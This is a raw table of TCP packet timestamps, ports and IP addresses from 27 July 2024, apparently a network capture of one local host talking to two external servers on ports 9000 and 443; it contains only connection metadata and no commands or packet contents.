Jul 27, 2024 16:49:38.336316109 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.367156982 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.367204905 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.367266893 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.367300987 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.367352009 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.367383957 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.367434025 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.367449045 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.367449045 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.367449045 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.367466927 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.367521048 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.367527962 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.367573023 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.367604971 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.367640018 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.367644072 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.367676020 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.367707968 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.367741108 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.367773056 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.367805004 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.367841005 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.367857933 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.367857933 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.367858887 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.367875099 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.367908001 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.367927074 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.367940903 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.367949963 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.367974043 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.368006945 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.368038893 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.368071079 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.368103981 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.368136883 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.368170977 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.368205070 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.368205070 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.368205070 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.368220091 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.368273973 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.368278027 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.368329048 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.368335962 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.368380070 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.368412018 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.368433952 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.368444920 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.368477106 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.368522882 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.368542910 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.368603945 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.368866920 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.368967056 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.369015932 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.369015932 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.369049072 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.369082928 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.369102001 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.369126081 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.369182110 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.589071989 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589122057 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589155912 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589186907 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589210987 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.589221001 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589261055 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.589273930 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589308977 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589342117 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589371920 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.589391947 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589406967 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.589426041 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589466095 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589498043 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.589519024 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589569092 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589591980 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.589607000 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589658976 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589663982 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.589692116 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589725971 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589742899 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.589761019 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589793921 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589814901 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.589824915 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589859009 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589874029 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.589891911 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589925051 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589939117 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.589957952 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.589991093 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.590008020 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.590023994 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.590058088 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.590074062 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.590117931 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.590167046 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.590172052 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.590200901 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.590234041 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.590265036 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.590302944 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.590332985 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.590375900 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.590379000 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.590406895 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.590435982 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.590440035 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.590456009 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.590473890 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.590507984 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.590528011 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.590543032 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.590578079 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.590594053 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.590692043 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.590749025 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.812772036 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.812814951 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.812850952 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.812885046 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.812917948 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.812952042 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.812983990 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.812994957 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.812995911 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.812995911 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.813018084 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.813050985 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.813064098 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.813085079 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.813118935 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.813154936 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.813184023 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.813349962 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.813349962 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.813535929 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.813589096 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.813621998 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.813653946 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.813685894 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.813716888 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.813726902 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.813728094 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.813728094 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.813750982 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.813800097 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.813802004 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.813836098 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.813868046 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.813884974 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.813900948 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.813934088 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.813954115 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.813967943 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.814001083 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.814023018 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.814035892 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.814085960 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.814712048 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.815217972 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.815267086 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.815283060 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.815304041 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.815351963 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.815356970 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.815391064 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.815421104 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.815447092 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.815454960 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.815490961 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.815501928 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.815525055 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.815557957 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.815578938 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.815592051 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.815625906 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.815645933 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.815659046 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.815704107 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.815711021 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.815745115 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.815778017 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.815797091 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.815807104 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.815855026 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:38.815860033 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:38.856633902 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:39.034347057 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:39.034399033 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:39.034595966 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:39.034596920 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:39.043515921 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:39.043720007 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:39.062202930 CEST	49738	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:39.071476936 CEST	9000	49738	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:39.071693897 CEST	49738	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:39.084188938 CEST	49738	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:39.089534998 CEST	9000	49738	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:40.566597939 CEST	9000	49738	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:40.622255087 CEST	49738	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:40.814026117 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:40.814109087 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:40.814209938 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:40.815339088 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:40.815380096 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.113611937 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.113828897 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.114691019 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.114905119 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.119045019 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.119096994 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.119615078 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.157154083 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.200520039 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.517724037 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.517776012 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.518004894 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.518064022 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.518141031 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.518709898 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.518893003 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.520435095 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.520592928 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.523114920 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.523318052 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.760508060 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.760631084 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.760679007 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.760780096 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.760812998 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.760895967 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.761027098 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.761231899 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.761400938 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.761468887 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.761526108 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.761603117 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.762264013 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.762341976 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.762850046 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.762921095 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.847866058 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.848067999 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.848134041 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.848309994 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.848331928 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.848397017 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.848436117 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.848457098 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.848576069 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.848592043 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.848634005 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.848699093 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.848711014 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.849380970 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.849458933 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.849488974 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.849546909 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.849988937 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.850059032 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.850433111 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.850512028 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.851213932 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.851295948 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.851768017 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.851865053 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.852055073 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.852114916 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.852271080 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.852350950 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.852475882 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.852566957 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.852804899 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.852875948 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.853467941 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.853538990 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.853811026 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.853880882 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.936422110 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.936587095 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.936659098 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.936743021 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.936796904 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.936981916 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.979202986 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.979398012 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.979408979 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.979466915 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.979598999 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.979598999 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.979660988 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.979676008 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.979732990 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.979787111 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.979851007 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.979939938 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.980000019 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.980120897 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.980179071 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.980254889 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.980320930 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.980391979 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.980453968 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.980623007 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.980683088 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.980765104 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.980823040 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.980904102 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.980969906 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.981036901 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.981096983 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.981168985 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.981229067 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.981304884 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.981369972 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.981440067 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.981509924 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.981591940 CEST	443	49739	39.97.203.118	192.168.2.4
